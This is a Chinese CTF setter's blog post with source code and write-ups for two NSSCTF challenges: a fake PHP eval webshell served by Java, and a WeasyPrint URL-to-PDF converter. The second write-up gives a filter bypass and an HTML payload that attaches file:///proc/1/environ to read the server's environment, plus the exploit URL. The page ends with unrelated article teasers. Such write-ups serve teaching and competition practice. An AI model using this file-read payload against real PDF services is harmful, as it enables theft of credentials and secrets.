NSSCTF Round#20 Basic 真亦假，假亦真 CSDN_To_PDF V1.2 出题笔记 （附wp+源码）
真亦假，假亦真
简介：java伪造php一句话马。实则信息泄露一扫就出，flag在/flag里面。
题目描述：开开心心签个到吧，祝各位师傅们好运~
静态flag：NSS{Checkin_h4v3_4_g00D_tINNe!}
/路由显示
<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);//标准一句话木马~
eval($_POST[1]);
?>
docker build -t toftoffff . && docker run -d --name=toftoffff -p 9029:9029 --rm toftoffff
WP：
开题
做好事不留名，那我Jay17当然不干好事啦
你不会真去getshell了吧，不会吧不会吧
其实这只是Java伪造的一句话，源码：
package org.nss.nss_true_boot01;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;@RestController
public class TestController {@GetMapping("/")@ResponseBodypublic String index() {return "<!DOCTYPE html>" +"<html>" +"<head><title>签到题题题</title></head>" +"<body>" +"<h1>" +"签到题，直接送大家shell了，做好事不留名，我叫Jay17（6s后页面跳转）<br>" +"</h1>" +"<script>" +"setTimeout(function() {" +" window.location.href = '/shell.php';" +"}, 6000);" +"</script>" +"</body>" +"</html>";}@GetMapping("/shell.php")public String shell(){String htmlContent = "<!DOCTYPE html>" +"<html>" +"<body>" +"<code><span style=\"color: #000000\">" +"<span style=\"color: #0000BB\"><?</span><span style=\"color: #DD0000\">php</span><br />" +"error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" +"<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" +"'Content-Type: text/html; charset=utf-8'</span><span style=\"color: #007700\">);" +"<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" +"__FILE__</span><span style=\"color: #007700\">);" +"<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" +"<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" +"</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" +"<br /></span><span style=\"color: #0000BB\">?></span>" +"</span>" +"</code>" +"</body>" +"</html>";return htmlContent;}@PostMapping("/shell.php")public String shellhhhh(){String htmlContent = "<!DOCTYPE html>" +"<html>" +"<body>" +"<code><span style=\"color: #000000\">" +"<span style=\"color: #0000BB\"><?</span><span style=\"color: #DD0000\">php</span><br />" +"error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" +"<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" +"'Content-Type: text/html; charset=utf-8'</span><span style=\"color: #007700\">);" +"<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" +"__FILE__</span><span style=\"color: #007700\">);" +"<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" +"<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" +"</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" +"<br /></span><span style=\"color: #0000BB\">?></span>" +"</span>" +"</code>" +"真是shell我能给你？"+"</body>" +"</html>";return htmlContent;}@GetMapping("/flag")public String flag(){return "真是shell我能给你？不过flag真给你，师傅们玩的愉快~：NSS{Checkin_h4v3_4_g00D_tINNe!}";}}
如何破局？其实假的一句话木马我有给hint，我故意调错了颜色
同时，flag路由扫一下就出来了。
CSDN_To_PDF V1.2
简介：python WeasyPrint 的漏洞，之前出现过：[FireshellCTF2020]URL TO PDF（BUU）、2023羊城杯决赛（未公开环境）。我进行过二开，加大了一点难度，可以从代码逻辑缺陷入手绕过
hint：
WeasyPrint
必须包含blog.csdn.net
会过滤替换字符串html
文件夹名字可以是blog.csdn.net
题目描述：几年前的自用版CSDN博客PDF转换器
源码：
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
import re
from flask_weasyprint import HTML, render_pdf
import osapp = Flask(__name__)URL_REGEX = re.compile(r'http(s)?://'r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)def is_valid_url(url):if not URL_REGEX.match(url):return Falseif "blog.csdn.net" not in url:return Falsereturn True@app.route('/', methods=['GET', 'POST'])
def CsdnToPdf():if request.method == 'POST':url = request.form.get('url')url = url.replace("html", "")if is_valid_url(url):try:html = HTML(url=url)pdf = html.write_pdf()response = make_response(pdf)response.headers['Content-Type'] = 'application/pdf'response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'return responseexcept Exception as e:return f'Error generating PDF', 500else:return f'Invalid URL! Target web address: ' + urlelse:return render_template("index.html"), 200if __name__ == '__main__':app.run(host='0.0.0.0', port=8080)docker build -t csdntopdf . && docker run -d -p 9030:8080 --name csdntopdf -e FLAG=NSSCTF{test_flag} --rm double_pickle
WP：
开题：
源码不知道需不需要给，算了不给了，你们搞黑盒吧，hint都有。
hint如下，能不能发现看大家啦：
1、url不符合要求的话，会返回Invalid URL! Target web address:xxxxx，可以发现我吧字符串
html替换为空，双写绕过就行2、题目提到了CSDN博客PDF转换器，所以url必须包含
blog.csdn.net，看起来无法绕过，但是你看看源码就懂了，前端源码我有给hint，我的css文件用的是：http://120.46.41.173/Jay17/blog.csdn.net/templates/index.css，服务器上有个文件夹是不是叫blog.csdn.net，就这样绕，有想法的师傅可能还能在我的vps同目录下发现源码哦~3、功能是转换成PDF，后端是python。不难想到是WeasyPrint ，这是一个 Python 的虚拟 HTML 和 CSS 渲染引擎，可以用来将网页转成 PDF 文档。旨在支持 Web 标准的打印
原题wp可以看看y4✌的：[BUUCTF][FireshellCTF2020]URL TO PDF-CSDN博客
首先探测一下漏洞：
http://120.46.41.173:9023/blog.csdn.net
vps上文件test.html
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///proc/1/environ">
</body>
</html>
我们利用python WeasyPrint 的方法是：
payload:
http://vps-ip/link.html
这题利用方法：
payload：
http://120.46.41.173/Jay17/blog.csdn.net/link.hthtmlml
拿到PDF后，binwalk -e 文件名
赛题测试：
相关文章：
NSSCTF Round#20 Basic 真亦假，假亦真 CSDN_To_PDF V1.2 出题笔记 （附wp+源码）
真亦假，假亦真 简介：java伪造php一句话马。实则信息泄露一扫就出，flag在/flag里面。 题目描述：开开心心签个到吧，祝各位师傅们好运~ 静态flag：NSS{Checkin_h4v3_4_g00D_tINNe!} /路由显示 <?php e…...
处理关于 React lazy 白屏的两种方案
这篇文章是今天在阅读 React 官方文档的时候看到的一个关于 处理 lazy 体验问题的小技巧，在这里记录一下 当我们使用 React.lazy 去懒加载一个路由组件，在不做任何其他处理的情况下从其他页面首次进入到这个懒加载的路由页面时，肯定会出现白屏…...
Nginx 基础
文章目录 Nginx概念安装下载上传安装包执行准备条件指定安装位置编译和安装启动服务创建启动脚本 linux文件目录nginx运行原理nginx配置域名概念和原理域名配置 Nginx 概念 Nginx 是一个高性能的HTTP和反向代理web服务器，同时也提供了IMAP/POP3/SMTP服务。Nginx是…...
C++完美转发（适合小白）
我们知道，C中有左值引用和右值引用，首先我们要知道什么是左值什么是右值。 左值：表达式结束后依然存在的持久对象。左值可以出现在赋值语句的左边或右边。例如，变量和函数返回的引用都是左值。左值通常有持久的地址，可…...
如何创建自己的 Spring Boot Starter 并为其编写单元测试
当我们想要封装一些自定义功能给别人使用的时候，创建Spring Boot Starter的形式是最好的实现方式。如果您还不会构建自己的Spring Boot Starter的话，本文将带你一起创建一个自己的Spring Boot Starter。 快速入门 创建一个新的 Maven 项目。第三方封装的…...
C++ ：STL中deque的原理
deque的结构类似于哈希表，使用一个指针数组存储固定大小的数组首地址，当数据分布不均匀时将指针数组内的数据进行偏移，桶不够用的时候会像vector一样扩容然后将之前数组中存储的指针拷贝过来，从原理可以看出deque的性能是非常高的…...
AttributeError: ‘Namespace‘ object has no attribute ‘EarlyStopping‘
报错原因 这个报错信息表明在Python脚本train.py中尝试访问命令行参数args.EarlyStopping时出错，具体错误是AttributeError: Namespace对象没有名为EarlyStopping的属性。 在Python的argparse模块中，当我们通过命令行传递参数并解析时，解析…...
深度学习pytorch——卷积神经网络（持续更新）
计算机如何解析图片？ 在计算机的眼中，一张灰度图片，就是许多个数字组成的二维矩阵，每个数字就是此点的像素值（图-1）。在存储时，像素值通常位于[0, 255]区间，在深度学习中࿰…...
【edge浏览器无法登录某些网站，以及迅雷插件无法生效的解决办法】
edge浏览器无法登录某些网站，以及迅雷插件无法生效的解决办法 edge浏览器无法登录某些网站，但chrome浏览器可以登录浏览器插件无法使用，比如迅雷如果重装插件重装浏览器重装迅雷后仍然出现问题 edge浏览器无法登录某些网站，但chro…...
OpenHarmony无人机MAVSDK开源库适配方案分享
MAVSDK 是 PX4 开源团队贡献的基于 MavLink 通信协议的用于无人机应用开发的 SDK，支持多种语言如 C/C、python、Java 等。通常用于无人机间、地面站与通信设备的消息传输。 MAVLink 是一种非常轻量级的消息传递协议，用于与无人机（以及机载无…...
模型训练----parser.add_argument添加配置参数
现在需要配置参数来达到修改训练的方式，我现在需要新建一个参数来开关wandb的使用。 首先就是在def parse_option():函数里添加上你要使用的变量名 parser.add_argument("--open_wandb",type bool,defaultFalse,helpopen wandb) 到config文件里增加你的…...
数字未来：探索 Web3 的革命性潜力
在当今数字化的时代，Web3作为互联网的新兴范式正逐渐崭露头角，引发了广泛的关注和探讨。本文将深入探索数字未来中Web3所蕴含的革命性潜力，探讨其对社会、经济和技术的深远影响。 1. Web3：数字世界的下一个阶段 Web3是一个正在崛…...
群晖NAS使用Docker部署大语言模型Llama 2结合内网穿透实现公网访问本地GPT聊天服务
文章目录 1. 拉取相关的Docker镜像2. 运行Ollama 镜像3. 运行Chatbot Ollama镜像4. 本地访问5. 群晖安装Cpolar6. 配置公网地址7. 公网访问8. 固定公网地址 随着ChatGPT 和open Sora 的热度剧增,大语言模型时代,开启了AI新篇章,大语言模型的应用非常广泛，包括聊天机…...
[选型必备基础信息] 存储器
存储芯片根据断电后是否保留存储的信息可分为易失性存储芯片（RAM）和非易失性存储芯片（ROM）。 简单说，存储类IC分为 ROM和RAM ROM：EEPROM / Flash / eMMC RAM：SRAM/SDRAM/DDR2/DDR3/DDR4/DDR5…...
C++——C++11线程库
目录 一，线程库简介 二，线程库简单使用 2.1 传函数指针 编辑 2.2 传lamdba表达式 2.3 简单综合运用 2.4 线程函数参数 三，线程安全问题 3.1 为什么会有这个问题？ 3.2 锁 3.2.1 互斥锁 3.2.2 递归锁 3.3 原子操作 3…...
机器学习 | 线性判别分析（Linear Discriminant Analysis）
1 机器学习中的建模 1.1 描述性建模 以方便的形式给出数据的主要特征，实质上是对数据的概括，以便在大量的或有噪声的数据中仍能观察到重要特征。重在认识数据的主要概貌，理解数据的重要特征。 Task：聚类分析，数据降…...
TypeScript-数组、函数类型
1.数组类型 1.1类型 方括号 let arry:number[][5,2,0,1,3,1,4] 1.2 数组泛型 let arry2:Array<number>[5,2,0,1,3,1,4] 1.3接口类型 interface makeArryRule{[index:number]:number }let arry3:makeArryRule[5,2,0,1,3,1,4] 1.4伪数组 说明： argument…...
Python深度学习034：cuda的环境如何配置
文章目录 1.安装nvidia cuda驱动CMD中看一下cuda版本：下载并安装cuda驱动2.创建虚拟环境并安装pytorch的torch_cuda3.测试附录1.安装nvidia cuda驱动 CMD中看一下cuda版本： 注意： 红框的cuda版本，是你的显卡能装的最高的cuda版本，所以可以选择低于它的版本。比如我的是11…...
【论文笔记】Text2QR
论文：Text2QR: Harmonizing Aesthetic Customization and Scanning Robustness for Text-Guided QR Code Generation Abstract 二维码通常包含很多信息但看起来并不美观。stable diffusion的出现让平衡扫描鲁棒性和美观变为可能。 为了保证美观二维码的稳定生成&a…...
【ReadPapers】A Survey of Large Language Models
LLM-Survey的llm能力和评估部分内容学习笔记——思维导图 思维导图 参考资料 A Survey of Large Language Models论文的github仓库...
站群CMS系统
站群CMS系统是一种用于批量建立和管理网站的内容管理系统，它能够帮助用户快速创建大量的网站，并实现对这些网站的集中管理。以下是三个在使用广泛的站群CMS系统，它们各具特色，可以满足不同用户的需求。 1. Z-BlogPHP Z-BlogPHP是…...
landsat8数据产品说明
1、下载数据用户手册 手册下载网址，搜索landsat science关键词，并点击到官网下载。 2、用户手册目录 3、landsat8数据产品说明 具体说明在手册的第四章，4.1.4数据产品章节，具体描述如下： 英文意思： L8 的…...
Golang 内存管理和垃圾回收底层原理(二)
一、这篇文章我们来聊聊Golang内存管理和垃圾回收，主要注重基本底层原理讲解，进一步实战待后续文章 垃圾回收，无论是Java 还是 Golang，基本的逻辑都是基于 标记-清理 的， 标记是指标记可能需要回收的对象，…...
OpenHarmony：全流程讲解如何编写ADC平台驱动以及应用程序
ADC（Analog to Digital Converter），即模拟-数字转换器，可将模拟信号转换成对应的数字信号，便于存储与计算等操作。除电源线和地线之外，ADC只需要1根线与被测量的设备进行连接。 一、案例简介 该程序是基于…...
计算机学生求职简历的一些想法
面试真的是一件非常难的事情，因为在短短的半小时到一个小时，来判断一个同学行不行，其实是很不全面的。作为一个求职的同学应该怎么办呢？求职的同学可以提前做一些准备，其中比较重要的要数简历的编写。 简历的作用 简…...
网工内推 | 售前专场，需熟悉云计算技术，上市公司，提成高
01 神州数码 招聘岗位：售前工程师 职责描述： 1.负责所在区域华为IT产品线（服务器、存储、云、虚拟化）的售前技术支持工作，包括客户交流、方案编写、配置报价、投标支持、测试等； 2.与厂商相关人员建立和保…...
excel匹配替换脱敏身份证等数据
假如excel sheet1中有脱敏的身份证号码和姓名，如： sheet2中有未脱敏的数据数据 做法如下： 1、在sheet2的C列用公式 LEFT(A2,6)&REPT("*",8)&RIGHT(A2,4) 做出脱敏数据，用来与sheet1的脱敏数据匹配 2、在sheet…...
[技术笔记] Flash选型之基础知识芯片分类
1、按照接口分类 分为 Serial串口Flash 和 Parallel并口Flash； 市场大量使用Serial Flash；价格便宜；已满足系统对数据读写速度的要求； Serial Flash已经可以代表 NOR Flash； 小知识： 1）在…...
Jenkins常用插件安装及全局配置
Jenkins常用插件安装及全局配置 前言 Jenkins是一个流行的持续集成工具，通过安装适用的插件，可以扩展Jenkins的功能，并与其他工具和系统集成。本文将介绍一些常用的Jenkins插件以及安装和配置的步骤。通过安装和配置这些常用插件…...
C++初学者：如何优雅地写程序
我喜欢C语言的功能强大，简洁，我也喜欢C#的语法简单，清晰，写起来又方便好用。 一、为什么不用C语言写程序。 C语言用来做题目，考试研究是很方便的，但是用来写程序做软件，你就会发现，…...
扬中市做网站/免费推广产品的网站
忽然之间，美国食品药物管理局（以下简称FDA）成了AI医疗亲密无间的好朋友和坚定的支持者。 2018年上半年，FDA相继批准癫痫监测与警报AI手表Embrace、AI临床监测平台Wave、脑卒中护理软件Viz.ai、自闭症筛查AI软件Cognoa以及血糖预测…...
营销网站/东莞网络推广
新添加一个收藏，把网页地址改为以下js脚本： 1 javascript:navigator.__defineGetter__(platform,function(){return}) 当下载文件时，先点击一次书签栏（收藏栏）的绕过代码书签，再次点击“下载”就可以实现跳…...
美国主机网站建设/百度95099如何转人工
这里使用的是淘宝的接口 public class AddressUtil{ /** * * param content * 请求的参数 格式为：namexxx&pwdxxx * param encodingString * 服务器端请求编码。如GBK,UTF-8等 * return * throws UnsupportedEncodingException */ public static String getAddr…...
企业品牌网站建设注意事项/最新黑帽seo教程
在上一篇中，我们基本已经把整个框架都搭建出来了，下面进行代码重构一下。 思路： 导航按钮，按下时，会变灰，那是系统自带了，通过自定义UIButton,实现按下按钮立即切换效果。MJTabBarController管得…...
做网站可以先做再给钱吗/佛山今日头条
高性能负载均衡集群HAProxy实战视频课程13节4小时7分钟课程目标：欢迎大家加入 51CTO学院Linux交流群575837909，与喜欢学习Linux小伙伴们做朋友，一起为梦想增值。高性能负载均衡集群HAProxy实战视频课程1、四层和七层负载均衡的区别2、HAProxy…...
做西点网站/社群运营的经典案例
1 制定目的按照项目组所有成员的贡献度，为“项目阶段奖金”的合理分配提供依据。2 奖金池金额及其运作方法奖金总额按月度发放，月奖金总额为：；根据项目运作的进度及客户反馈进行评估，奖罚并施；细则如下。2.…...